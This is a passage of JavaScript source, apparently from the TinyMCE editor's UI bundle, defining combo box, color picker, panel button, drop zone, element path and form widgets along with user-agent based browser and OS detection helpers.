        statusHtml = '<i id="' + id + '-status" class="mce-status mce-ico" style="display: none"></i>';
        if (self.disabled()) {
          extraAttrs += ' disabled="disabled"';
        }
        icon = settings.icon;
        if (icon && icon !== 'caret') {
          icon = prefix + 'ico ' + prefix + 'i-' + settings.icon;
        }
        text = self.state.get('text');
        if (icon || text) {
          openBtnHtml = '<div id="' + id + '-open" class="' + prefix + 'btn ' + prefix + 'open" tabIndex="-1" role="button">' + '<button id="' + id + '-action" type="button" hidefocus="1" tabindex="-1">' + (icon !== 'caret' ? '<i class="' + icon + '"></i>' : '<i class="' + prefix + 'caret"></i>') + (text ? (icon ? ' ' : '') + text : '') + '</button>' + '</div>';
          self.classes.add('has-open');
        }
        return '<div id="' + id + '" class="' + self.classes + '">' + '<input id="' + id + '-inp" class="' + prefix + 'textbox" value="' + self.encode(value, false) + '" hidefocus="1"' + extraAttrs + ' placeholder="' + self.encode(settings.placeholder) + '" />' + statusHtml + openBtnHtml + '</div>';
      },
      value: function (value) {
        if (arguments.length) {
          this.state.set('value', value);
          return this;
        }
        if (this.state.get('rendered')) {
          this.state.set('value', this.getEl('inp').value);
        }
        return this.state.get('value');
      },
      showAutoComplete: function (items, term) {
        var self = this;
        if (items.length === 0) {
          self.hideMenu();
          return;
        }
        var insert = function (value, title) {
          return function () {
            self.fire('selectitem', {
              title: title,
              value: value
            });
          };
        };
        if (self.menu) {
          self.menu.items().remove();
        } else {
          self.menu = global$b.create({
            type: 'menu',
            classes: 'combobox-menu',
            layout: 'flow'
          }).parent(self).renderTo();
        }
        global$4.each(items, function (item) {
          self.menu.add({
            text: item.title,
            url: item.previewUrl,
            match: term,
            classes: 'menu-item-ellipsis',
            onclick: insert(item.value, item.title)
          });
        });
        self.menu.renderNew();
        self.hideMenu();
        self.menu.on('cancel', function (e) {
          if (e.control.parent() === self.menu) {
            e.stopPropagation();
            self.focus();
            self.hideMenu();
          }
        });
        self.menu.on('select', function () {
          self.focus();
        });
        var maxW = self.layoutRect().w;
        self.menu.layoutRect({
          w: maxW,
          minW: 0,
          maxW: maxW
        });
        self.menu.repaint();
        self.menu.reflow();
        self.menu.show();
        self.menu.moveRel(self.getEl(), self.isRtl() ? [
          'br-tr',
          'tr-br'
        ] : [
          'bl-tl',
          'tl-bl'
        ]);
      },
      hideMenu: function () {
        if (this.menu) {
          this.menu.hide();
        }
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          if (self.getEl('inp').value !== e.value) {
            self.getEl('inp').value = e.value;
          }
        });
        self.state.on('change:disabled', function (e) {
          self.getEl('inp').disabled = e.value;
        });
        self.state.on('change:statusLevel', function (e) {
          var statusIconElm = self.getEl('status');
          var prefix = self.classPrefix, value = e.value;
          funcs.css(statusIconElm, 'display', value === 'none' ? 'none' : '');
          funcs.toggleClass(statusIconElm, prefix + 'i-checkmark', value === 'ok');
          funcs.toggleClass(statusIconElm, prefix + 'i-warning', value === 'warn');
          funcs.toggleClass(statusIconElm, prefix + 'i-error', value === 'error');
          self.classes.toggle('has-status', value !== 'none');
          self.repaint();
        });
        funcs.on(self.getEl('status'), 'mouseleave', function () {
          self.tooltip().hide();
        });
        self.on('cancel', function (e) {
          if (self.menu && self.menu.visible()) {
            e.stopPropagation();
            self.hideMenu();
          }
        });
        var focusIdx = function (idx, menu) {
          if (menu && menu.items().length > 0) {
            menu.items().eq(idx)[0].focus();
          }
        };
        self.on('keydown', function (e) {
          var keyCode = e.keyCode;
          if (e.target.nodeName === 'INPUT') {
            if (keyCode === global$f.DOWN) {
              e.preventDefault();
              self.fire('autocomplete');
              focusIdx(0, self.menu);
            } else if (keyCode === global$f.UP) {
              e.preventDefault();
              focusIdx(-1, self.menu);
            }
          }
        });
        return self._super();
      },
      remove: function () {
        global$7(this.getEl('inp')).off();
        if (this.menu) {
          this.menu.remove();
        }
        this._super();
      }
    });

    var ColorBox = ComboBox.extend({
      init: function (settings) {
        var self = this;
        settings.spellcheck = false;
        if (settings.onaction) {
          settings.icon = 'none';
        }
        self._super(settings);
        self.classes.add('colorbox');
        self.on('change keyup postrender', function () {
          self.repaintColor(self.value());
        });
      },
      repaintColor: function (value) {
        var openElm = this.getEl('open');
        var elm = openElm ? openElm.getElementsByTagName('i')[0] : null;
        if (elm) {
          try {
            elm.style.background = value;
          } catch (ex) {
          }
        }
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          if (self.state.get('rendered')) {
            self.repaintColor(e.value);
          }
        });
        return self._super();
      }
    });

    var PanelButton = Button.extend({
      showPanel: function () {
        var self = this, settings = self.settings;
        self.classes.add('opened');
        if (!self.panel) {
          var panelSettings = settings.panel;
          if (panelSettings.type) {
            panelSettings = {
              layout: 'grid',
              items: panelSettings
            };
          }
          panelSettings.role = panelSettings.role || 'dialog';
          panelSettings.popover = true;
          panelSettings.autohide = true;
          panelSettings.ariaRoot = true;
          self.panel = new FloatPanel(panelSettings).on('hide', function () {
            self.classes.remove('opened');
          }).on('cancel', function (e) {
            e.stopPropagation();
            self.focus();
            self.hidePanel();
          }).parent(self).renderTo(self.getContainerElm());
          self.panel.fire('show');
          self.panel.reflow();
        } else {
          self.panel.show();
        }
        var rtlRels = [
          'bc-tc',
          'bc-tl',
          'bc-tr'
        ];
        var ltrRels = [
          'bc-tc',
          'bc-tr',
          'bc-tl',
          'tc-bc',
          'tc-br',
          'tc-bl'
        ];
        var rel = self.panel.testMoveRel(self.getEl(), settings.popoverAlign || (self.isRtl() ? rtlRels : ltrRels));
        self.panel.classes.toggle('start', rel.substr(-1) === 'l');
        self.panel.classes.toggle('end', rel.substr(-1) === 'r');
        var isTop = rel.substr(0, 1) === 't';
        self.panel.classes.toggle('bottom', !isTop);
        self.panel.classes.toggle('top', isTop);
        self.panel.moveRel(self.getEl(), rel);
      },
      hidePanel: function () {
        var self = this;
        if (self.panel) {
          self.panel.hide();
        }
      },
      postRender: function () {
        var self = this;
        self.aria('haspopup', true);
        self.on('click', function (e) {
          if (e.control === self) {
            if (self.panel && self.panel.visible()) {
              self.hidePanel();
            } else {
              self.showPanel();
              self.panel.focus(!!e.aria);
            }
          }
        });
        return self._super();
      },
      remove: function () {
        if (this.panel) {
          this.panel.remove();
          this.panel = null;
        }
        return this._super();
      }
    });

    var DOM = global$2.DOM;
    var ColorButton = PanelButton.extend({
      init: function (settings) {
        this._super(settings);
        this.classes.add('splitbtn');
        this.classes.add('colorbutton');
      },
      color: function (color) {
        if (color) {
          this._color = color;
          this.getEl('preview').style.backgroundColor = color;
          return this;
        }
        return this._color;
      },
      resetColor: function () {
        this._color = null;
        this.getEl('preview').style.backgroundColor = null;
        return this;
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix, text = self.state.get('text');
        var icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
        var image = self.settings.image ? ' style="background-image: url(\'' + self.settings.image + '\')"' : '';
        var textHtml = '';
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        return '<div id="' + id + '" class="' + self.classes + '" role="button" tabindex="-1" aria-haspopup="true">' + '<button role="presentation" hidefocus="1" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + '<span id="' + id + '-preview" class="' + prefix + 'preview"></span>' + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
      },
      postRender: function () {
        var self = this, onClickHandler = self.settings.onclick;
        self.on('click', function (e) {
          if (e.aria && e.aria.key === 'down') {
            return;
          }
          if (e.control === self && !DOM.getParent(e.target, '.' + self.classPrefix + 'open')) {
            e.stopImmediatePropagation();
            onClickHandler.call(self, e);
          }
        });
        delete self.settings.onclick;
        return self._super();
      }
    });

    var global$g = tinymce.util.Tools.resolve('tinymce.util.Color');

    var ColorPicker = Widget.extend({
      Defaults: { classes: 'widget colorpicker' },
      init: function (settings) {
        this._super(settings);
      },
      postRender: function () {
        var self = this;
        var color = self.color();
        var hsv, hueRootElm, huePointElm, svRootElm, svPointElm;
        hueRootElm = self.getEl('h');
        huePointElm = self.getEl('hp');
        svRootElm = self.getEl('sv');
        svPointElm = self.getEl('svp');
        function getPos(elm, event) {
          var pos = funcs.getPos(elm);
          var x, y;
          x = event.pageX - pos.x;
          y = event.pageY - pos.y;
          x = Math.max(0, Math.min(x / elm.clientWidth, 1));
          y = Math.max(0, Math.min(y / elm.clientHeight, 1));
          return {
            x: x,
            y: y
          };
        }
        function updateColor(hsv, hueUpdate) {
          var hue = (360 - hsv.h) / 360;
          funcs.css(huePointElm, { top: hue * 100 + '%' });
          if (!hueUpdate) {
            funcs.css(svPointElm, {
              left: hsv.s + '%',
              top: 100 - hsv.v + '%'
            });
          }
          svRootElm.style.background = global$g({
            s: 100,
            v: 100,
            h: hsv.h
          }).toHex();
          self.color().parse({
            s: hsv.s,
            v: hsv.v,
            h: hsv.h
          });
        }
        function updateSaturationAndValue(e) {
          var pos;
          pos = getPos(svRootElm, e);
          hsv.s = pos.x * 100;
          hsv.v = (1 - pos.y) * 100;
          updateColor(hsv);
          self.fire('change');
        }
        function updateHue(e) {
          var pos;
          pos = getPos(hueRootElm, e);
          hsv = color.toHsv();
          hsv.h = (1 - pos.y) * 360;
          updateColor(hsv, true);
          self.fire('change');
        }
        self._repaint = function () {
          hsv = color.toHsv();
          updateColor(hsv);
        };
        self._super();
        self._svdraghelper = new DragHelper(self._id + '-sv', {
          start: updateSaturationAndValue,
          drag: updateSaturationAndValue
        });
        self._hdraghelper = new DragHelper(self._id + '-h', {
          start: updateHue,
          drag: updateHue
        });
        self._repaint();
      },
      rgb: function () {
        return this.color().toRgb();
      },
      value: function (value) {
        var self = this;
        if (arguments.length) {
          self.color().parse(value);
          if (self._rendered) {
            self._repaint();
          }
        } else {
          return self.color().toHex();
        }
      },
      color: function () {
        if (!this._color) {
          this._color = global$g();
        }
        return this._color;
      },
      renderHtml: function () {
        var self = this;
        var id = self._id;
        var prefix = self.classPrefix;
        var hueHtml;
        var stops = '#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000';
        function getOldIeFallbackHtml() {
          var i, l, html = '', gradientPrefix, stopsList;
          gradientPrefix = 'filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=';
          stopsList = stops.split(',');
          for (i = 0, l = stopsList.length - 1; i < l; i++) {
            html += '<div class="' + prefix + 'colorpicker-h-chunk" style="' + 'height:' + 100 / l + '%;' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ');' + '-ms-' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ')' + '"></div>';
          }
          return html;
        }
        var gradientCssText = 'background: -ms-linear-gradient(top,' + stops + ');' + 'background: linear-gradient(to bottom,' + stops + ');';
        hueHtml = '<div id="' + id + '-h" class="' + prefix + 'colorpicker-h" style="' + gradientCssText + '">' + getOldIeFallbackHtml() + '<div id="' + id + '-hp" class="' + prefix + 'colorpicker-h-marker"></div>' + '</div>';
        return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-sv" class="' + prefix + 'colorpicker-sv">' + '<div class="' + prefix + 'colorpicker-overlay1">' + '<div class="' + prefix + 'colorpicker-overlay2">' + '<div id="' + id + '-svp" class="' + prefix + 'colorpicker-selector1">' + '<div class="' + prefix + 'colorpicker-selector2"></div>' + '</div>' + '</div>' + '</div>' + '</div>' + hueHtml + '</div>';
      }
    });

    var DropZone = Widget.extend({
      init: function (settings) {
        var self = this;
        settings = global$4.extend({
          height: 100,
          text: 'Drop an image here',
          multiple: false,
          accept: null
        }, settings);
        self._super(settings);
        self.classes.add('dropzone');
        if (settings.multiple) {
          self.classes.add('multiple');
        }
      },
      renderHtml: function () {
        var self = this;
        var attrs, elm;
        var cfg = self.settings;
        attrs = {
          id: self._id,
          hidefocus: '1'
        };
        elm = funcs.create('div', attrs, '<span>' + this.translate(cfg.text) + '</span>');
        if (cfg.height) {
          funcs.css(elm, 'height', cfg.height + 'px');
        }
        if (cfg.width) {
          funcs.css(elm, 'width', cfg.width + 'px');
        }
        elm.className = self.classes;
        return elm.outerHTML;
      },
      postRender: function () {
        var self = this;
        var toggleDragClass = function (e) {
          e.preventDefault();
          self.classes.toggle('dragenter');
          self.getEl().className = self.classes;
        };
        var filter = function (files) {
          var accept = self.settings.accept;
          if (typeof accept !== 'string') {
            return files;
          }
          var re = new RegExp('(' + accept.split(/\s*,\s*/).join('|') + ')$', 'i');
          return global$4.grep(files, function (file) {
            return re.test(file.name);
          });
        };
        self._super();
        self.$el.on('dragover', function (e) {
          e.preventDefault();
        });
        self.$el.on('dragenter', toggleDragClass);
        self.$el.on('dragleave', toggleDragClass);
        self.$el.on('drop', function (e) {
          e.preventDefault();
          if (self.state.get('disabled')) {
            return;
          }
          var files = filter(e.dataTransfer.files);
          self.value = function () {
            if (!files.length) {
              return null;
            } else if (self.settings.multiple) {
              return files;
            } else {
              return files[0];
            }
          };
          if (files.length) {
            self.fire('change', e);
          }
        });
      },
      remove: function () {
        this.$el.off();
        this._super();
      }
    });

    var Path = Widget.extend({
      init: function (settings) {
        var self = this;
        if (!settings.delimiter) {
          settings.delimiter = '\xBB';
        }
        self._super(settings);
        self.classes.add('path');
        self.canFocus = true;
        self.on('click', function (e) {
          var index;
          var target = e.target;
          if (index = target.getAttribute('data-index')) {
            self.fire('select', {
              value: self.row()[index],
              index: index
            });
          }
        });
        self.row(self.settings.row);
      },
      focus: function () {
        var self = this;
        self.getEl().firstChild.focus();
        return self;
      },
      row: function (row) {
        if (!arguments.length) {
          return this.state.get('row');
        }
        this.state.set('row', row);
        return this;
      },
      renderHtml: function () {
        var self = this;
        return '<div id="' + self._id + '" class="' + self.classes + '">' + self._getDataPathHtml(self.state.get('row')) + '</div>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:row', function (e) {
          self.innerHtml(self._getDataPathHtml(e.value));
        });
        return self._super();
      },
      _getDataPathHtml: function (data) {
        var self = this;
        var parts = data || [];
        var i, l, html = '';
        var prefix = self.classPrefix;
        for (i = 0, l = parts.length; i < l; i++) {
          html += (i > 0 ? '<div class="' + prefix + 'divider" aria-hidden="true"> ' + self.settings.delimiter + ' </div>' : '') + '<div role="button" class="' + prefix + 'path-item' + (i === l - 1 ? ' ' + prefix + 'last' : '') + '" data-index="' + i + '" tabindex="-1" id="' + self._id + '-' + i + '" aria-level="' + (i + 1) + '">' + parts[i].name + '</div>';
        }
        if (!html) {
          html = '<div class="' + prefix + 'path-item">\xA0</div>';
        }
        return html;
      }
    });

    var ElementPath = Path.extend({
      postRender: function () {
        var self = this, editor = self.settings.editor;
        function isHidden(elm) {
          if (elm.nodeType === 1) {
            if (elm.nodeName === 'BR' || !!elm.getAttribute('data-mce-bogus')) {
              return true;
            }
            if (elm.getAttribute('data-mce-type') === 'bookmark') {
              return true;
            }
          }
          return false;
        }
        if (editor.settings.elementpath !== false) {
          self.on('select', function (e) {
            editor.focus();
            editor.selection.select(this.row()[e.index].element);
            editor.nodeChanged();
          });
          editor.on('nodeChange', function (e) {
            var outParents = [];
            var parents = e.parents;
            var i = parents.length;
            while (i--) {
              if (parents[i].nodeType === 1 && !isHidden(parents[i])) {
                var args = editor.fire('ResolveName', {
                  name: parents[i].nodeName.toLowerCase(),
                  target: parents[i]
                });
                if (!args.isDefaultPrevented()) {
                  outParents.push({
                    name: args.name,
                    element: parents[i]
                  });
                }
                if (args.isPropagationStopped()) {
                  break;
                }
              }
            }
            self.row(outParents);
          });
        }
        return self._super();
      }
    });

    var FormItem = Container.extend({
      Defaults: {
        layout: 'flex',
        align: 'center',
        defaults: { flex: 1 }
      },
      renderHtml: function () {
        var self = this, layout = self._layout, prefix = self.classPrefix;
        self.classes.add('formitem');
        layout.preRender(self);
        return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<div id="' + self._id + '-title" class="' + prefix + 'title">' + self.settings.title + '</div>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
      }
    });

    var Form = Container.extend({
      Defaults: {
        containerCls: 'form',
        layout: 'flex',
        direction: 'column',
        align: 'stretch',
        flex: 1,
        padding: 15,
        labelGap: 30,
        spacing: 10,
        callbacks: {
          submit: function () {
            this.submit();
          }
        }
      },
      preRender: function () {
        var self = this, items = self.items();
        if (!self.settings.formItemDefaults) {
          self.settings.formItemDefaults = {
            layout: 'flex',
            autoResize: 'overflow',
            defaults: { flex: 1 }
          };
        }
        items.each(function (ctrl) {
          var formItem;
          var label = ctrl.settings.label;
          if (label) {
            formItem = new FormItem(global$4.extend({
              items: {
                type: 'label',
                id: ctrl._id + '-l',
                text: label,
                flex: 0,
                forId: ctrl._id,
                disabled: ctrl.disabled()
              }
            }, self.settings.formItemDefaults));
            formItem.type = 'formitem';
            ctrl.aria('labelledby', ctrl._id + '-l');
            if (typeof ctrl.settings.flex === 'undefined') {
              ctrl.settings.flex = 1;
            }
            self.replace(ctrl, formItem);
            formItem.add(ctrl);
          }
        });
      },
      submit: function () {
        return this.fire('submit', { data: this.toJSON() });
      },
      postRender: function () {
        var self = this;
        self._super();
        self.fromJSON(self.settings.data);
      },
      bindStates: function () {
        var self = this;
        self._super();
        function recalcLabels() {
          var maxLabelWidth = 0;
          var labels = [];
          var i, labelGap, items;
          if (self.settings.labelGapCalc === false) {
            return;
          }
          if (self.settings.labelGapCalc === 'children') {
            items = self.find('formitem');
          } else {
            items = self.items();
          }
          items.filter('formitem').each(function (item) {
            var labelCtrl = item.items()[0], labelWidth = labelCtrl.getEl().clientWidth;
            maxLabelWidth = labelWidth > maxLabelWidth ? labelWidth : maxLabelWidth;
            labels.push(labelCtrl);
          });
          labelGap = self.settings.labelGap || 0;
          i = labels.length;
          while (i--) {
            labels[i].settings.minWidth = maxLabelWidth + labelGap;
          }
        }
        self.on('show', recalcLabels);
        recalcLabels();
      }
    });

    var FieldSet = Form.extend({
      Defaults: {
        containerCls: 'fieldset',
        layout: 'flex',
        direction: 'column',
        align: 'stretch',
        flex: 1,
        padding: '25 15 5 15',
        labelGap: 30,
        spacing: 10,
        border: 1
      },
      renderHtml: function () {
        var self = this, layout = self._layout, prefix = self.classPrefix;
        self.preRender();
        layout.preRender(self);
        return '<fieldset id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<legend id="' + self._id + '-title" class="' + prefix + 'fieldset-title">' + self.settings.title + '</legend>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</fieldset>';
      }
    });

    var unique$1 = 0;
    var generate = function (prefix) {
      var date = new Date();
      var time = date.getTime();
      var random = Math.floor(Math.random() * 1000000000);
      unique$1++;
      return prefix + '_' + random + unique$1 + String(time);
    };

    var fromHtml = function (html, scope) {
      var doc = scope || domGlobals.document;
      var div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        domGlobals.console.error('HTML does not have a single root node', html);
        throw new Error('HTML must have a single root node');
      }
      return fromDom(div.childNodes[0]);
    };
    var fromTag = function (tag, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createElement(tag);
      return fromDom(node);
    };
    var fromText = function (text, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createTextNode(text);
      return fromDom(node);
    };
    var fromDom = function (node) {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: constant(node) };
    };
    var fromPoint = function (docElm, x, y) {
      var doc = docElm.dom();
      return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
    };
    var Element = {
      fromHtml: fromHtml,
      fromTag: fromTag,
      fromText: fromText,
      fromDom: fromDom,
      fromPoint: fromPoint
    };

    var cached = function (f) {
      var called = false;
      var r;
      return function () {
        var args = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          args[_i] = arguments[_i];
        }
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE;
    var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE;
    var COMMENT = domGlobals.Node.COMMENT_NODE;
    var DOCUMENT = domGlobals.Node.DOCUMENT_NODE;
    var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE;
    var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE;
    var ELEMENT = domGlobals.Node.ELEMENT_NODE;
    var TEXT = domGlobals.Node.TEXT_NODE;
    var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE;
    var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE;
    var ENTITY = domGlobals.Node.ENTITY_NODE;
    var NOTATION = domGlobals.Node.NOTATION_NODE;

    var Immutable = function () {
      var fields = [];
      for (var _i = 0; _i < arguments.length; _i++) {
        fields[_i] = arguments[_i];
      }
      return function () {
        var values = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          values[_i] = arguments[_i];
        }
        if (fields.length !== values.length) {
          throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
        }
        var struct = {};
        each(fields, function (name, i) {
          struct[name] = constant(values[i]);
        });
        return struct;
      };
    };

    var node = function () {
      var f = Global$1.getOrDie('Node');
      return f;
    };
    var compareDocumentPosition = function (a, b, match) {
      return (a.compareDocumentPosition(b) & match) !== 0;
    };
    var documentPositionPreceding = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
    };
    var documentPositionContainedBy = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
    };
    var Node = {
      documentPositionPreceding: documentPositionPreceding,
      documentPositionContainedBy: documentPositionContainedBy
    };

    var firstMatch = function (regexes, s) {
      for (var i = 0; i < regexes.length; i++) {
        var x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    var find$1 = function (regexes, agent) {
      var r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      var group = function (i) {
        return Number(agent.replace(r, '$' + i));
      };
      return nu(group(1), group(2));
    };
    var detect = function (versionRegexes, agent) {
      var cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown();
      }
      return find$1(versionRegexes, cleanedAgent);
    };
    var unknown = function () {
      return nu(0, 0);
    };
    var nu = function (major, minor) {
      return {
        major: major,
        minor: minor
      };
    };
    var Version = {
      nu: nu,
      detect: detect,
      unknown: unknown
    };

    var edge = 'Edge';
    var chrome = 'Chrome';
    var ie = 'IE';
    var opera = 'Opera';
    var firefox = 'Firefox';
    var safari = 'Safari';
    var isBrowser = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$1 = function () {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$1 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isEdge: isBrowser(edge, current),
        isChrome: isBrowser(chrome, current),
        isIE: isBrowser(ie, current),
        isOpera: isBrowser(opera, current),
        isFirefox: isBrowser(firefox, current),
        isSafari: isBrowser(safari, current)
      };
    };
    var Browser = {
      unknown: unknown$1,
      nu: nu$1,
      edge: constant(edge),
      chrome: constant(chrome),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    var windows$1 = 'Windows';
    var ios = 'iOS';
    var android = 'Android';
    var linux = 'Linux';
    var osx = 'OSX';
    var solaris = 'Solaris';
    var freebsd = 'FreeBSD';
    var isOS = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$2 = function () {
      return nu$2({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$2 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isWindows: isOS(windows$1, current),
        isiOS: isOS(ios, current),
        isAndroid: isOS(android, current),
        isOSX: isOS(osx, current),
        isLinux: isOS(linux, current),
        isSolaris: isOS(solaris, current),
        isFreeBSD: isOS(freebsd, current)
      };
    };
    var OperatingSystem = {
      unknown: unknown$2,
      nu: nu$2,
      windows: constant(windows$1),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      osx: constant(osx),
      solaris: constant(solaris),
      freebsd: constant(freebsd)
    };

    var DeviceType = function (os, browser, userAgent) {
      var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      var isiPhone = os.isiOS() && !isiPad;
      var isAndroid3 = os.isAndroid() && os.version.major === 3;
      var isAndroid4 = os.isAndroid() && os.version.major === 4;
      var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
      var isTouch = os.isiOS() || os.isAndroid();
      var isPhone = isTouch && !isTablet;
      var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview)
      };
    };

    var detect$1 = function (candidates, userAgent) {
      var agent = String(userAgent).toLowerCase();
      return find(candidates, function (candidate) {
        return candidate.search(agent);
      });
    };
    var detectBrowser = function (browsers, userAgent) {
      return detect$1(browsers, userAgent).map(function (browser) {
        var version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version: version
        };
      });
    };
    var detectOs = function (oses, userAgent) {
      return detect$1(oses, userAgent).map(function (os) {
        var version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version: version
        };
      });
    };
    var UaString = {
      detectBrowser: detectBrowser,
      detectOs: detectOs
    };

    var contains = function (str, substr) {
      return str.indexOf(substr) !== -1;
    };

    var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    var checkContains = function (target) {
      return function (uastring) {
        return contains(uastring, target);
      };
    };
    var browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: function (uastring) {
          return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chrome',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: function (uastring) {
          return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: function (uastring) {
          return contains(uastring, 'msie') || contains(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: function (uastring) {
          return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit');
        }
      }
    ];
    var oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: function (uastring) {
          return contains(uastring, 'iphone') || contains(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'OSX',
        search: checkContains('os x'),
        versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      }
    ];
    var PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    var detect$2 = function (userAgent) {
      var browsers = PlatformInfo.browsers();
      var oses = PlatformInfo.oses();
      var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu);
      var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      var deviceType = DeviceType(os, browser, userAgent);
      return {
        browser: browser,
        os: os,
        deviceType: deviceType
      };
    };
    var PlatformDetection = { detect: detect$2 };

    var detect$3 = cached(function () {
      var userAgent = domGlobals.navigator.userAgent;
      return PlatformDetection.detect(userAgent);
    });
    var PlatformDetection$1 = { detect: detect$3 };

    var ELEMENT$1 = ELEMENT;
    var DOCUMENT$1 = DOCUMENT;
    var bypassSelector = function (dom) {
      return dom.nodeType !== ELEMENT$1 && dom.nodeType !== DOCUMENT$1 || dom.childElementCount === 0;
    };
    var all = function (selector, scope) {
      var base = scope === undefined ? domGlobals.document : scope.dom();
      return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), Element.fromDom);
